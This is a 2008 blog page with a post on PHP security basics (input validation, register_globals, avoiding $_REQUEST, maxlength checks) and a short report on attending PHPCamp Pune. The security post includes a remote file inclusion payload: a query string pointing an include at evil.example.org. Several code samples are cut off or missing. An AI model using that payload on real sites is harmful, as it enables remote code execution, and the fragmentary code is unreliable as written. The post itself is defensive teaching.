Showing posts with label phpcamppune08. Show all posts
Showing posts with label phpcamppune08. Show all posts

Friday, October 10, 2008

PHP Security

Now-a-days web security has been a major concern.During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure. fact that you are here is evidence that you care about security,

Since PHP is a growing language being used for the web development,It's very important to discuss about PHP security.

Input flaws
most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted and should be validated properly.

register_globals = OFF. The register_globals directive is disabled by default in PHP versions 4.2.0 and greater.Enabling register_globals may cause a security risk.
A common example to explain the problem is as follows.
this example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:

With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:




Avoid using $_REQUEST[] since as per GPC rule $_GET has higher priorities than $_POST, So $_POST variables may be overwritten.

Always validate input data against maxlength in PHP.you can use array and for each to do this.
50);
foreach($max as $key=>$val)
{
if(strlen($_POST[$key])>$val)
{
//display maxlength error
}
}
?>



Monday, September 22, 2008

PHPCamp 2008 learning

This was the first PHP camp happening in india pune.I have just returned after attending un-organizing India’s biggest php camp.I learned a lots.I shared my knowledge of PHP security there.Overall I enjoyed this camp organized @ persistent system, was attended by over seven hundred interested intellectuals. Nice event, nice ppl..

Actual I was in search of such kind of platform where we all can share our knowledge and our expertise.I think this type of camp should continue for the years ahead....
want to download my presentation on PHP security ?? click here